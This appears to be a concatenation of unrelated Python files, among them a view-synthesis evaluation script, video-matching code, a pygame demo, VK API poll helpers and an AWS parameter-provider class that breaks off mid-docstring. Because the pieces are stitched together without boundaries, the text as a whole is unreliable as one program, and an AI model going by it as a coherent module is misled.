from builtins import breakpoint
import os
import lpips
import imageio
import argparse
import numpy as np
from copy import deepcopy
from collections import OrderedDict
from skimage.metrics import structural_similarity, peak_signal_noise_ratio

import torch
import torch.nn as nn
import torch.nn.functional as F
import torchvision.transforms as transforms
from torch.utils.data import DataLoader

from options.options import get_dataset, get_model
from models.networks.sync_batchnorm import convert_model
from models.base_model import BaseModel

def tensor_to_image(image):
    img = torch.clamp(image.permute(1,2,0),min=-1, max=1).detach().cpu().numpy() * 0.5 + 0.5
    img = np.ceil(img * 255) / 255.0
    return img
torch.backends.cudnn.enabled = True

def main(args):

    MODEL_PATH = args.model_path

    opts = torch.load(MODEL_PATH)['opts']
    opts.render_ids = [1]
    opts.input_view_num = args.input_view
    opts.test_view = args.src_list
    name = args.name
    outpath = args.output_path

    model = get_model(opts)

    torch_devices = [int(gpu_id.strip()) for gpu_id in opts.gpu_ids.split(",")]
    device = 'cuda:' + str(torch_devices[0])

    if 'sync' in opts.norm_G:
        model = convert_model(model)
        model = nn.DataParallel(model, torch_devices[0:1]).cuda()
    else:
        model = nn.DataParallel(model, torch_devices[0:1]).cuda()

    lpips_vgg = lpips.LPIPS(net="vgg").to(device=device)
    #  Load the original model to be tested
    model_to_test = BaseModel(model, opts)
    model_to_test.load_state_dict(torch.load(MODEL_PATH)['state_dict'])
    model_to_test.eval()

    print("Loaded model")
    dataset = get_dataset(opts)
    test_set = dataset(stage='test', opts=opts)
    test_set.use_depth = True
    dataloader = DataLoader(
        test_set,
        shuffle=False,
        drop_last=False,
        batch_size=1,
        num_workers=4,
        pin_memory=True,
    )
    output_path = os.path.join(args.output_path, args.name)
    if os.path.exists(output_path) is False:
        os.makedirs(output_path)
    # We follow the paradigm of pixel-nerf for evaluation.
    # The input/src view is pre-defined and there are some pre-defined excluded views.
    # We report performance with and wo these excluded views.
    src_list = args.src_list
    src_list = list(map(int, src_list.split()))
    base_exclude_views = deepcopy(src_list)
    base_exclude_views.extend([3, 4, 5, 6, 7, 16, 17, 18, 19, 20, 21, 36, 37, 38, 39])
    evaluation = OrderedDict()

    for batch in dataloader:
        scan_name = batch['path'][0].split("/")[-1]
        with torch.no_grad():
            results = model_to_test.model.module.eval_batch(batch, num_view=args.input_view)
        # If we use depth completion, then there is "ComDepth" in results. We save the provided incomplete depths, completed depths, and mse between them.
        # If we directly estimate depth from images, then there is no "ComDepth" and depth ground truth.
        com_depth = "ComDepth" in results[1]
        ## load the input 3 views
        depth_imgs = []
        if "depths" in batch.keys():

            for i in range(opts.input_view_num):

                if torch.cuda.is_available():
                    depth_imgs.append(batch["depths"][i].cuda())
                else:
                    depth_imgs.append(batch["depths"][i])
        Pred_depth = results[1]["PredDepth"][0:opts.input_view_num]
        H, W = results[1]['PredDepth'][0].shape[-2],results[1]['PredDepth'][0].shape[-1]
        if opts.down_sample:
            depth_imgs = torch.cat(depth_imgs, 1)
            gt_depth = F.interpolate(depth_imgs, size=(H, W), mode="nearest").unsqueeze(2)

        else:
            gt_depth = torch.stack(depth_imgs, 1) # B x num_outputs x 1 x H x W
        gt_depth = gt_depth.contiguous().view(-1, 1, H, W)
        # breakpoint()
        Depth_error = nn.MSELoss()(Pred_depth[gt_depth>0.0001], gt_depth[gt_depth>0.0001])
        input_view1 = batch['images'][0][0] * 0.5 + 0.5
        input_view2 = batch['images'][1][0] * 0.5 + 0.5
        input_view3 = batch['images'][2][0] * 0.5 + 0.5
        input_depth1 = results[1]['PredDepth'][0]
        input_depth2 = results[1]['PredDepth'][1]
        input_depth3 = results[1]['PredDepth'][2]

        input_view1 = input_view1.permute(1,2,0).detach().cpu().numpy()
        input_view2 = input_view2.permute(1,2,0).detach().cpu().numpy()
        input_view3 = input_view3.permute(1,2,0).detach().cpu().numpy()
        input_depth1 = np.uint8(input_depth1[0].detach().cpu().numpy()/input_depth1.max().item() * 255.0)
        input_depth2 = np.uint8(input_depth2[0].detach().cpu().numpy()/input_depth2.max().item() * 255.0)
        input_depth3 = np.uint8(input_depth3[0].detach().cpu().numpy()/input_depth3.max().item() * 255.0)
        scan_path = os.path.join(output_path, scan_name)
        if os.path.exists(scan_path) is False:
            os.makedirs(scan_path)
        imageio.imwrite(os.path.join(scan_path, "input_view1.png"), np.uint8(input_view1 * 255.0))
        imageio.imwrite(os.path.join(scan_path, "input_view2.png"), np.uint8(input_view2 * 255.0))
        imageio.imwrite(os.path.join(scan_path, "input_view3.png"), np.uint8(input_view3 * 255.0))

        imageio.imwrite(os.path.join(scan_path, "input_depth1.png"), input_depth1)
        imageio.imwrite(os.path.join(scan_path, "input_depth2.png"), input_depth2)
        imageio.imwrite(os.path.join(scan_path, "input_depth3.png"), input_depth3)

        target_view_list = np.ones(len(batch['images']))
        target_view_list[src_list] = 0
        target_view_list = np.nonzero(target_view_list)[0]
        target_view_list = target_view_list.tolist()

        ssim_pred_collect = []
        psnr_pred_collect = []
        ssim_pred_collect_exclude = []
        psnr_pred_collect_exclude = []
        gts = []
        preds = []
        gts_exclude = []
        preds_exclude = []
        for i in range(results[1]['OutputImg'].shape[0]):
            target_view = target_view_list[i]
            target = results[1]['OutputImg'][i]
            pred = results[1]['PredImg'][i]
            gts.append(target)
            preds.append(pred)

            target = tensor_to_image(target)
            pred = tensor_to_image(pred)
            imageio.imwrite(os.path.join(scan_path, "output_view_{0:06d}.png".format(target_view)), np.uint8(pred * 255.0))
            imageio.imwrite(os.path.join(scan_path, "target_view_{0:06d}.png".format(target_view)), np.uint8(target * 255.0))
            # We calculate the psnr and ssim
            psnr_pred = peak_signal_noise_ratio(target, pred, data_range=1)
            ssim_pred = structural_similarity(
                        target,
                        pred,
                        multichannel=True,
                        data_range=1)

            psnr_pred_collect.append(psnr_pred)
            ssim_pred_collect.append(ssim_pred)
            if target_view not in base_exclude_views:
                gts_exclude.append(results[1]['OutputImg'][i])
                preds_exclude.append(results[1]['PredImg'][i])
                psnr_pred_collect_exclude.append(psnr_pred)
                ssim_pred_collect_exclude.append(ssim_pred)

        gts = torch.stack(gts)
        preds = torch.stack(preds)
        preds_spl = torch.split(preds, args.lpips_batch_size, dim=0)
        gts_spl = torch.split(gts, args.lpips_batch_size, dim=0)
        lpips_all = []
        with torch.no_grad():
            for predi, gti in zip(preds_spl, gts_spl):
                lpips_i = lpips_vgg(predi.to(device=device), gti.to(device=device))
                lpips_all.append(lpips_i)
            lpips_all = torch.cat(lpips_all)
        lpips_total = lpips_all.mean().item()
        lpips_all = []
        gts_exclude = torch.stack(gts_exclude)
        preds_exclude = torch.stack(preds_exclude)
        preds_spl = torch.split(preds_exclude, args.lpips_batch_size, dim=0)
        gts_spl = torch.split(gts_exclude, args.lpips_batch_size, dim=0)
        with torch.no_grad():
            for predi, gti in zip(preds_spl, gts_spl):
                lpips_i = lpips_vgg(predi.to(device=device), gti.to(device=device))
                lpips_all.append(lpips_i)
            lpips_all = torch.cat(lpips_all)
        lpips_exclude = lpips_all.mean().item()
        evaluation[scan_name] = {}
        evaluation[scan_name].update({"all_pred_psnr": np.mean(psnr_pred_collect), "all_pred_ssim":np.mean(ssim_pred_collect), "all_pred_lpips":lpips_total, "exclu_pred_psnr":np.mean(psnr_pred_collect_exclude), "exclu_pred_ssim":np.mean(ssim_pred_collect_exclude), "excludee_pred_lpips":lpips_exclude, 'Depth_Error':Depth_error.item()})

    finish_file_name = os.path.join(outpath, name, "finish.txt")
    finish_file = open(finish_file_name, 'a',buffering=1)
    finish_file.write("-----------all dataset evaluation------------")
    pred_psnr_collect = []
    pred_ssim_collect = []
    pred_lpips_collect = []
    Depth_Error_collect =[]
    for scan in evaluation.keys():
        pred_psnr = evaluation[scan]['all_pred_psnr']
        pred_ssim = evaluation[scan]['all_pred_ssim']
        pred_lpips = evaluation[scan]['all_pred_lpips']
        depth_error = evaluation[scan]['Depth_Error']
        pred_psnr_collect.append(pred_psnr)
        pred_ssim_collect.append(pred_ssim)
        pred_lpips_collect.append(pred_lpips)
        Depth_Error_collect.append(depth_error)
        finish_file.write("{}: output psnr {}, output ssim {}, lpips {}, Depth_Error {}\n".format(scan, pred_psnr, pred_ssim, pred_lpips, depth_error))
    finish_file.write("Total: output psnr {}, output ssim {}, lpips{}, Depth Error {}\n".format( np.mean(pred_psnr_collect), np.mean(pred_ssim_collect), np.mean(pred_lpips_collect), np.mean(Depth_Error_collect)))

    finish_file.write("-----------excluded dataset evaluation-----------\n")
    pred_psnr_collect = []
    pred_ssim_collect = []
    pred_lpips_collect = []

    for scan in evaluation.keys():
        pred_psnr = evaluation[scan]['exclu_pred_psnr']
        pred_ssim = evaluation[scan]['exclu_pred_ssim']
        pred_lpips = evaluation[scan]['excludee_pred_lpips']
        pred_psnr_collect.append(pred_psnr)
        pred_ssim_collect.append(pred_ssim)
        pred_lpips_collect.append(pred_lpips)
        finish_file.write("{}: output psnr {}, output ssim {}, pred lpips {}\n".format(scan, pred_psnr, pred_ssim, pred_lpips))

    finish_file.write("Total: output psnr {}, output ssim {},pred lpips {}\n".format( np.mean(pred_psnr_collect), np.mean(pred_ssim_collect), np.mean(pred_lpips_collect)))
    finish_file.close()
    dict_name = os.path.join(outpath, name, "evaluation.pt")
    torch.save(evaluation, dict_name)

if __name__ == "__main__":

    parser = argparse.ArgumentParser(description="evaluation")
    parser.add_argument("--model_path", type=str)
    parser.add_argument("--output_path", type=str)
    parser.add_argument("--name", type=str, default="results")
    parser.add_argument("--src_list", type=str, default='22 25 28')
    parser.add_argument("--input_view", type=int, default=3)
    parser.add_argument("--winsize", type=int, default=256)
    parser.add_argument("--lpips_batch_size", type=int, default=16)
    args = parser.parse_args()

    main(args)


"""
def test(list, num):
    max_result = 0
    for i in range(1, min(list)+1):
        sum = 0
        for elm in list:
            sum = sum + (elm // i)
        if sum == num:
            max_result = i
    return max_result
"""

def search(list, num):
    start = 1
    end = min(list)
    while start <= end:
        mid = (start + end) // 2
        sum = 0
        for elm in list:
            sum = sum + (elm // mid)
        if sum == num:
            return mid
        elif sum > num:
            start = mid + 1
        elif sum < num:
            end = mid - 1
    return -1

k, n = map(int, input().split())
len_list = []

if k <= n:
    for i in range(k):
        length = int(input())
        len_list.append(length)
print(search(len_list, n))


from math import *
import os, collections, scipy, itertools, multiprocessing, shutil
from pprint import pprint
import numpy as np
import scipy, pickle, json
from ast import literal_eval as make_tuple
import sklearn, sklearn.ensemble
import pandas as pd
import utils.io_handler as io_handler

from data_postp.similarity_computations import df_col_to_matrix, transform_vectors_with_inter_class_pca, compute_cosine_similarity, inter_class_pca, top_n_accuracy

#PICKLE_FILE_TEST = '/common/homes/students/rothfuss/Documents/selected_trainings/8_20bn_gdl_optical_flow/validate/metadata_and_hidden_rep_df_08-14-17_17-38-26_all_augmented_valid.pickle'
PICKLE_FILE_TEST = '/common/homes/students/rothfuss/Documents/selected_trainings/8_20bn_gdl_optical_flow/validate/metadata_and_hidden_rep_df_08-12-17_02-50-16_selected_10_classes_eren_augmented_valid.pickle'
#PICKLE_FILE_TEST = '/common/homes/students/rothfuss/Documents/selected_trainings/8_20bn_gdl_optical_flow/validate/matching/metadata_and_hidden_rep_df_08-09-17_21-19-52_half_actions_new_episodes_optical_flow_valid.pickle'

ARMAR_EXPERIENCES_BASE_DIR = '/data/rothfuss/data/ArmarExperiences/video_frames'
BASE_DIR_20BN = '/PDFData/rothfuss/data/20bn-something-something-v1'
PICKLE_ARMAR_EXPERIENCES_MEMORY = '/data/rothfuss/data/ArmarExperiences/hidden_reps/hidden_repr_memory.pickle'
PICKLE_ARMAR_EXPERIENCES_MEMORY_AUGMENTED = '/data/rothfuss/data/ArmarExperiences/hidden_reps/hidden_repr_memory_augmented.pickle'
PICKLE_ARMAR_EXPERIENCES_QUERY = '/data/rothfuss/data/ArmarExperiences/hidden_reps/hidden_repr_query.pickle'
#PICKLE_ARMAR_EXPERIENCES_QUERY = '/common/homes/students/rothfuss/Documents/selected_trainings/8_20bn_gdl_optical_flow/validate/matching/metadata_and_hidden_rep_df_08-10-17_12-17-36_half_actions_old_episodes_optical_flow_valid.pickle'
PICKLE_ARMAR_EXPERIENCES_HALF_ACTION = '/data/rothfuss/data/ArmarExperiences/hidden_reps/hidden_repr_query_half.pickle'

def closest_vector_analysis_composite(df, df_query, base_dir, target_dir, n_pca_matching=20, n_pca_classifier=50,
                                                 class_column='category', n_closest_matches=5, lambda_weight=0.5, augmented=False, output_type='gif'):

  assert output_type in ['gif', 'png'], "output type must be either gif or png"
  #Preparation Part 1: prepare classifier and classifier_pca
  #train logistic regression on pca components of hidden_reps in df --> returns classifier and pca object
  classifier, pca_classifier, _, _ = train_and_dump_classifier(df, class_column=class_column, n_components=n_pca_classifier)

  # generate pca transformed query df for classifiaction pca
  df_query_classification = df_query.copy()
  transformed_vectors_as_matrix = pca_classifier.transform(df_col_to_matrix(df_query['hidden_repr']))
  df_query_classification['hidden_repr'] = np.split(transformed_vectors_as_matrix, transformed_vectors_as_matrix.shape[0])

  #Preparation Part 2: prepare pca transform for matching
  df_pca_matching, df_query_matching, pca_matching = transform_vectors_with_inter_class_pca(df, df_2=df_query, n_components=n_pca_matching, return_pca_object=True)

  # removing augmented samples from df_pca_matching (videos with suffix _9 are originals)
  if augmented:
    df_pca_matching = df_pca_matching[df_pca_matching["id"].str.contains("_9")]
    #df_query_matching = df_query_matching[df_query_matching["id"].str.contains("_9")]

  #make parent dir for files
  target_dir = os.path.join(target_dir, 'matching_pca_%i_classifier_%i_%.2f'%(n_pca_matching,n_pca_classifier,lambda_weight))
  print(target_dir)
  os.mkdir(target_dir)
  print("Created directory:", target_dir)
  # Production: Iterate over queries in df_query
  for hidden_repr_matching, hidden_repr_classification, label, category in zip(df_query_matching['hidden_repr'], df_query_classification['hidden_repr'],
                                                                               df_query_matching['label'], df_query_matching[class_column]):
    try:
      class_prob_dict = dict(zip(classifier.classes_, classifier.predict_proba(hidden_repr_classification).flatten().tolist()))
      pprint(sorted(class_prob_dict.items(), key=lambda tup: tup[1], reverse=True)[:5])
      composite_scores= []
      for v, l, v_id in zip(df_pca_matching['hidden_repr'], df_pca_matching[class_column], df_pca_matching['video_id']):
        class_prob = class_prob_dict[l]
        cos_sim = compute_cosine_similarity(v, hidden_repr_matching)
        composite_score = (1-lambda_weight) * class_prob + lambda_weight * cos_sim
        composite_scores.append((composite_score, l, int(v_id)))

      sorted_scores = sorted(composite_scores, key=lambda tup: tup[0], reverse=True)

      closest_vectors = sorted_scores[:n_closest_matches]

      label = label.replace("_9", "")
      print(label, category, n_closest_matches)
      #pprint(closest_vectors)

      # File transfer - make directiry label_dir and copy the matched videos into the directory
      label_dir = os.path.join(target_dir, label)
      os.mkdir(label_dir)
      try:
        if output_type is 'gif':
          io_handler.convert_frames_to_gif(os.path.join(base_dir, str(label)), image_type='.jpg', fps=15, gif_file_path=os.path.join(label_dir, 'query_' + str(label) + ': ' + category))
        else:
          shutil.copytree(os.path.join(base_dir, str(label)), os.path.join(label_dir, 'query_' + str(label) + ': ' + category))
      except Exception as e:
        print(e)
        pass
      for i, (cos_dist, v_label, v_id) in enumerate(closest_vectors):
        try:
          if output_type is 'gif':
            io_handler.convert_frames_to_gif(os.path.join(base_dir, str(v_id)), image_type='.jpg', fps=15,
                                             gif_file_path=os.path.join(label_dir, "match_%i:%s_%.4f_%s" % (i, str(v_id), cos_dist, v_label)))
          else:
            shutil.copytree(os.path.join(base_dir, str(v_id)), os.path.join(label_dir, str(v_id)))
        except Exception as e:
          pass
        if output_type is 'png':
          os.rename(os.path.join(label_dir, str(v_id)),
                    os.path.join(label_dir, "match_%i:%s_%.4f_%s" % (i, str(v_id), cos_dist, v_label)))
    except Exception as e:
      print(e)

def train_and_dump_classifier(df, dump_path=None, class_column="category", classifier=sklearn.linear_model.LogisticRegression(n_jobs=-1),
                              n_components=500, train_split_ratio=0.8):

  # separate dataframe into test and train split
  if train_split_ratio < 1.0:
    msk = np.random.rand(len(df)) < train_split_ratio
    test_df = df[~msk]
    train_df = df[msk]
  else: #no testing required -> make test_df dummy
    train_df = df.copy()
    test_df = df.copy()

  if n_components > 0:
    pca = inter_class_pca(df, class_column=class_column, n_components=n_components)
    X_train = pca.transform(df_col_to_matrix(train_df['hidden_repr']))
    X_test = pca.transform(df_col_to_matrix(test_df['hidden_repr']))

  else:
    X_train = df_col_to_matrix(train_df['hidden_repr'])
    X_test = df_col_to_matrix(test_df['hidden_repr'])

  y_train = np.asarray(list(train_df[class_column]))
  y_test = np.asarray(list(test_df[class_column]))

  #fit model:
  print("Training classifier")
  classifier.fit(X_train, y_train)

  #calculate accuracy
  if train_split_ratio < 1.0:
    acc = classifier.score(X_test, y_test)
    print("Accuracy:", acc)
    top5_acc = top_n_accuracy(classifier, X_test, y_test, n=3)
    print("Top5 Accuracy:", top5_acc)
  else:
    acc, top5_acc = None, None

  #dump classifier
  if dump_path:
    classifier_dump_path = os.path.join(os.path.dirname(dump_path), 'classifier.pickle')
    with open(classifier_dump_path, 'wb') as f:
      pickle.dump(classifier, f)
    print("Dumped classifier to:", classifier_dump_path)

  return classifier, pca, acc, top5_acc

def episodic_memory_20bn(augmented=False):
  df = pd.read_pickle(PICKLE_FILE_TEST)

  df_val = pd.read_pickle(
    '/data/rothfuss/data/ArmarExperiences/hidden_reps/hidden_repr_query_half.pickle')

  # target_dir = '/common/homes/students/rothfuss/Documents/selected_trainings/8_20bn_gdl_optical_flow/validate/matching/composite_matching/matching_armar_old'
  target_dir = '/data/rothfuss/data/20bn-something/matching/not_augmented'
  input_image_dir = '/common/temp/toEren/4PdF_ArmarSampleImages/HalfActions/fromEren/Originals'

  if not augmented:
    df = df[df["id"].str.contains("_9")] #SET IF not augmentation wanted

  df['label'] = df['label_x']
  msk = np.random.rand(len(df)) < 0.8
  test_df = df[~msk]
  train_df = df[msk]

  print(len(df), len(test_df), len(train_df))

  df_val['category'] = ['armar_setting' for _ in range(len(df_val))]
  closest_vector_analysis_composite(train_df, test_df, BASE_DIR_20BN, target_dir,
                                    class_column='category',
                                    n_pca_matching=20, n_pca_classifier=200, lambda_weight=0.5, augmented=augmented)

def episodic_memory_armar(augmented=False):
  memory_df = pd.read_pickle(PICKLE_ARMAR_EXPERIENCES_MEMORY)
  #query_df = pd.read_pickle(PICKLE_ARMAR_EXPERIENCES_HALF_ACTION)
  query_df = pd.read_pickle(PICKLE_ARMAR_EXPERIENCES_QUERY)
  query_df['label'] = query_df['id']
  query_df['category'] = query_df['label']

  target_dir = '/data/rothfuss/data/ArmarExperiences/matching/complete_actions/not_augmented'

  closest_vector_analysis_composite(memory_df, query_df, ARMAR_EXPERIENCES_BASE_DIR, target_dir, class_column='category',
                                    n_pca_matching=50, n_pca_classifier=200, lambda_weight=0.5, augmented=augmented)

def main():
  #episodic_memory_armar(augmented=False)
  episodic_memory_20bn(augmented=False)

  matching_dir =  '/data/rothfuss/data/ArmarExperiences/matching/new_half_actions/not_augmented/matching_pca_50_classifier_200_0.50_gif'
  io_handler.frames_to_gif_in_dir_tree(matching_dir)

if __name__ == "__main__":
  main()


import pygame
from material.cores import cor
from material.personagens import jovem, estudante
from pygame.locals import *

def game():
    pygame.init()

    largura = 500
    altura = 400

    pos_x = largura/2
    pos_y = altura/2
    m, n = 0, 0
    velocidade = 10

    janela = pygame.display.set_mode((largura, altura))
    pygame.display.set_caption("IFgame")

    voltar = pygame.Surface((30, 15))
    voltar.fill(cor.Violeta_Vermelho_Medio)

    aberto = True

    while aberto:
        pygame.time.delay(50)

        for event in pygame.event.get():

            if event.type == pygame.QUIT:
                aberto = False

        comandos = pygame.key.get_pressed()

        if comandos[pygame.K_DOWN]:
            pos_y += velocidade
            m = 0
            n += 1
            if n > 3:
                n = 0

        if comandos[pygame.K_UP]:
            pos_y -= velocidade
            m = 1
            n += 1
            if n > 3:
                n = 0

        if comandos[pygame.K_LEFT]:
            pos_x -= velocidade
            m = 2
            n += 1
            if n > 3:
                n = 0

        if comandos[pygame.K_RIGHT]:
            pos_x += velocidade
            m = 3
            n += 1
            if n > 3:
                n = 0

        if pos_x >= (largura + 10):
            pos_x = -50
        else:
            if pos_x <= -50:
                pos_x = (largura + 10)

        if pos_y >= (altura + 10):
            pos_y = -80
        else:
            if pos_y <= -80:
                pos_y = (altura + 10)

        janela.fill(cor.Azul_Brilhante)
        janela.blit(estudante.estudante[m][n], (pos_x, pos_y))
        janela.blit(voltar, (10, 10))

        pygame.display.update()

    pygame.quit()


import csv
import time

def get_item(item_id):
    if type(item_id) != str:
        item_id = str(item_id)
    with open('loot.csv', newline='') as csvfile:
        spamreader = csv.reader(csvfile, delimiter=',')
        for row in spamreader:
            if row[1] == item_id:
                return row

def get_rankings(columns):
    rankings = {}
    for col in columns:
        rankings[col] = 0
    with open('loot.csv', newline='') as csvfile:
        spamreader = csv.reader(csvfile, delimiter=',')
        for row in spamreader:
            for col in columns:
                if row[col] == "Yes":
                    rankings[col] += 1
    list_rankings = []
    for key, val in rankings.items():
        list_rankings.append((key, val))
    return list_rankings

def show_optimal_targets(item):
    item_data = get_item(item)
    drops_from = []
    for i in range(5, len(item_data)):
        if item_data[i] == "Yes":
            drops_from.append(i)
    unit_names = get_item("ITEM_IDS")
    ranks = get_rankings(drops_from)
    ranks = sorted(ranks, key=lambda k: k[1])
    for pair in ranks:
        print("{} - {} drops".format(unit_names[pair[0]], pair[1]))

if __name__ == "__main__":
    show_optimal_targets(1427)


# 19 - Créer un dictionnaire "x" avec les clés / valeurs suivantes :

x={}
x["chaussures"]=3
x["chemises"]=5
print(x)

x["chaussures"]

x["toto"]="titi"
print(x)

x["toto"]="tata"
print(x)

del x["toto"]
print(x)

x.pop("chaussures")

print(x)

y={}
y=x
print(y)


#Written by: Owen Jeffreys

import pythonbytes

time = 0
alarm = 10

def init():
    global myText, alarm
    myText = Text(font='Tahoma', size=100, y=(SCREEN_HEIGHT/2)-70, colour=White, centre=True)

    Text(Day(), 'Tahoma', size=40, y=50, colour=Blue, centre=True)
    Text(Date(), 'Tahoma', size=20, y=270, colour=Blue, centre=True)

def loop():
    global time, myText
    time+=1

    scaledTime = time / 20      #scale down from FPS

    hours = int(scaledTime / 3600)
    minutes = (scaledTime % 3600) / 60
    seconds = (scaledTime % 3600) % 60

    myText.SetText(str(hours).zfill(2) + ":" + str(minutes).zfill(2) + ":" + str(seconds).zfill(2))

    if scaledTime == alarm: myText.SetColour(Red)


import requests
from myvk.wall_vk import wall_post
def polls_getPhotoUploadServer(owner_id):
    import requests
    from config import token
    url = f'https://api.vk.com/method/polls.getPhotoUploadServer?&owner_id={owner_id}&access_token={token}&v=5.131'
    res=requests.get(url)
    print(res.json())
    return res.json()

def polls_savePhoto(photo,hash):
    import requests
    from config import token
    url = f'https://api.vk.com/method/polls.savePhoto?photo={photo}&hash={hash}&access_token={token}&v=5.131'
    res=requests.get(url)
    print(res.json())

def palls_create (question,add_answers):
    from config import token

    'Позволяет создавать опросы, которые впоследствии можно прикреплять к записям на странице пользователя или сообщества'
    url=f'https://api.vk.com/method/polls.create?&owner_id=-215241313&background_id=3&access_token={token}&v=5.131'
    params={'question':question,'add_answers':add_answers}

    respo=requests.get(url, params)
    print(respo.json())
    return respo.json()

'763520752'


"""
Base for Parameter providers
"""

import base64
import json
from abc import ABC, abstractmethod
from collections import namedtuple
from datetime import datetime, timedelta
from typing import TYPE_CHECKING, Any, Dict, Optional, Tuple, Type, Union

import boto3
from botocore.config import Config

from .exceptions import GetParameterError, TransformParameterError

if TYPE_CHECKING:
    from mypy_boto3_appconfig import AppConfigClient
    from mypy_boto3_dynamodb import DynamoDBServiceResource
    from mypy_boto3_secretsmanager import SecretsManagerClient
    from mypy_boto3_ssm import SSMClient

DEFAULT_MAX_AGE_SECS = 5
ExpirableValue = namedtuple("ExpirableValue", ["value", "ttl"])
# These providers will be dynamically initialized on first use of the helper functions
DEFAULT_PROVIDERS: Dict[str, Any] = {}
TRANSFORM_METHOD_JSON = "json"
TRANSFORM_METHOD_BINARY = "binary"
SUPPORTED_TRANSFORM_METHODS = [TRANSFORM_METHOD_JSON, TRANSFORM_METHOD_BINARY]
ParameterClients = Union["AppConfigClient", "SecretsManagerClient", "SSMClient"]

class BaseProvider(ABC):
    """
    Abstract Base Class for Parameter providers
    """

    store: Any = None

    def __init__(self):
        """
        Initialize the base provider
        """

        self.store = {}

    def _has_not_expired(self, key: Tuple[str, Optional[str]]) -> bool:
        return key in self.store and self.store[key].ttl >= datetime.now()

    def get(
        self,
        name: str,
        max_age: int = DEFAULT_MAX_AGE_SECS,
        transform: Optional[str] = None,
        force_fetch: bool = False,
        **sdk_options,
    ) -> Optional[Union[str, dict, bytes]]:
        """
        Retrieve a parameter value or return the cached value

        Parameters
        ----------
        name: str
            Parameter name
        max_age: int
            Maximum age of the cached value
        transform: str
            Optional transformation of the parameter value. Supported values
            are "json" for JSON strings and "binary" for base 64 encoded
            values.
        force_fetch: bool, optional
            Force update even before a cached item has expired, defaults to False
        sdk_options: dict, optional
            Arguments that will be passed directly to the underlying API call

        Raises
        ------
        GetParameterError
            When the parameter provider fails to retrieve a parameter value for
            a given name.
        TransformParameterError
            When the parameter provider fails to transform a parameter value.
        """

        # If there are multiple calls to the same parameter but in a different
        # transform, they will be stored multiple times. This allows us to
        # optimize by transforming the data only once per retrieval, thus there
        # is no need to transform cached values multiple times. However, this
        # means that we need to make multiple calls to the underlying parameter
        # store if we need to return it in different transforms. Since the number
        # of supported transform is small and the probability that a given
        # parameter will always be used in a specific transform, this should be
        # an acceptable tradeoff.
        value: Optional[Union[str, bytes, dict]] = None
        key = (name, transform)

        if not force_fetch and self._has_not_expired(key):
            return self.store[key].value

        try:
            value = self._get(name, **sdk_options)
        # Encapsulate all errors into a generic GetParameterError
        except Exception as exc:
            raise GetParameterError(str(exc))

        if transform:
            if isinstance(value, bytes):
                value = value.decode("utf-8")
            value = transform_value(value, transform)

        self.store[key] = ExpirableValue(value, datetime.now() + timedelta(seconds=max_age))

        return value

    @abstractmethod
    def _get(self, name: str, **sdk_options) -> Union[str, bytes]:
        """
        Retrieve parameter value from the underlying parameter store
        """
        raise NotImplementedError()

    def get_multiple(
        self,
        path: str,
        max_age: int = DEFAULT_MAX_AGE_SECS,
        transform: Optional[str] = None,
        raise_on_transform_error: bool = False,
        force_fetch: bool = False,
        **sdk_options,
    ) -> Union[Dict[str, str], Dict[str, dict], Dict[str, bytes]]:
        """
        Retrieve multiple parameters based on a path prefix

        Parameters
        ----------
        path: str
            Parameter path used to retrieve multiple parameters
        max_age: int, optional
            Maximum age of the cached value
        transform: str, optional
            Optional transformation of the parameter value. Supported values
            are "json" for JSON strings, "binary" for base 64 encoded
            values or "auto" which looks at the attribute key to determine the type.
        raise_on_transform_error: bool, optional
            Raises an exception if any transform fails, otherwise this will
            return a None value for each transform that failed
        force_fetch: bool, optional
            Force update even before a cached item has expired, defaults to False
        sdk_options: dict, optional
            Arguments that will be passed directly to the underlying API call

        Raises
        ------
        GetParameterError
            When the parameter provider fails to retrieve parameter values for
            a given path.
        TransformParameterError
            When the parameter provider fails to transform a parameter value.
        """
        key = (path, transform)

        if not force_fetch and self._has_not_expired(key):
            return self.store[key].value

        try:
            values = self._get_multiple(path, **sdk_options)
        # Encapsulate all errors into a generic GetParameterError
        except Exception as exc:
            raise GetParameterError(str(exc))

        if transform:
            transformed_values: dict = {}
            for (item, value) in values.items():
                _transform = get_transform_method(item, transform)
                if not _transform:
                    continue
                transformed_values[item] = transform_value(value, _transform, raise_on_transform_error)
            values.update(transformed_values)
        self.store[key] = ExpirableValue(values, datetime.now() + timedelta(seconds=max_age))

        return values

    @abstractmethod
    def _get_multiple(self, path: str, **sdk_options) -> Dict[str, str]:
        """
        Retrieve multiple parameter values from the underlying parameter store
        """
        raise NotImplementedError()

    def clear_cache(self):
        self.store.clear()

    @staticmethod
    def _build_boto3_client(
        service_name: str,
        client: Optional[ParameterClients] = None,
        session: Optional[Type[boto3.Session]] = None,
        config: Optional[Type[Config]] = None,
    ) -> Type[ParameterClients]:
        """Builds a low level boto3 client with session and config provided

        Parameters
        ----------
        service_name : str
            AWS service name to instantiate a boto3 client, e.g. ssm
        client : Optional[ParameterClients], optional
            boto3 client instance, by default None
        session : Optional[Type[boto3.Session]], optional
            boto3 session instance, by default None
        config : Optional[Type[Config]], optional
            botocore config instance to configure client with, by default None

        Returns
        -------
        Type[ParameterClients]
            Instance of a boto3 client for Parameters feature (e.g., ssm, appconfig, secretsmanager, etc.)
        """
        if client is not None:
            return client

        session = session or boto3.Session()
        config = config or Config()
        return session.client(service_name=service_name, config=config)

    # maintenance: change DynamoDBServiceResource type to ParameterResourceClients when we expand
    @staticmethod
    def _build_boto3_resource_client(
        service_name: str,
        client: Optional["DynamoDBServiceResource"] = None,
        session: Optional[Type[boto3.Session]] = None,
        config: Optional[Type[Config]] = None,
        endpoint_url: Optional[str] = None,
    ) -> "DynamoDBServiceResource":
        """Builds a high level boto3 resource client with session, config and endpoint_url provided

        Parameters
        ----------
        service_name : str
            AWS service name to instantiate a boto3 client, e.g. ssm
        client : Optional[DynamoDBServiceResource], optional
            boto3 client instance, by default None
        session : Optional[Type[boto3.Session]], optional
            boto3 session instance, by default None
        config : Optional[Type[Config]], optional
            botocore config instance to configure client, by default None

        Returns
        -------
        Type[DynamoDBServiceResource]
            Instance of a boto3 resource client for Parameters feature (e.g., dynamodb, etc.)
        """
        if client is not None:
            return client

        session = session or boto3.Session()
        config = config or Config()
        return session.resource(service_name=service_name, config=config, endpoint_url=endpoint_url)

def get_transform_method(key: str, transform: Optional[str] = None) -> Optional[str]:
    """
    Determine the transform method

    Examples
    -------
        >>> get_transform_method("key", "any_other_value")
        'any_other_value'
        >>> get_transform_method("key.json", "auto")
        'json'
        >>> get_transform_method("key.binary", "auto")
        'binary'
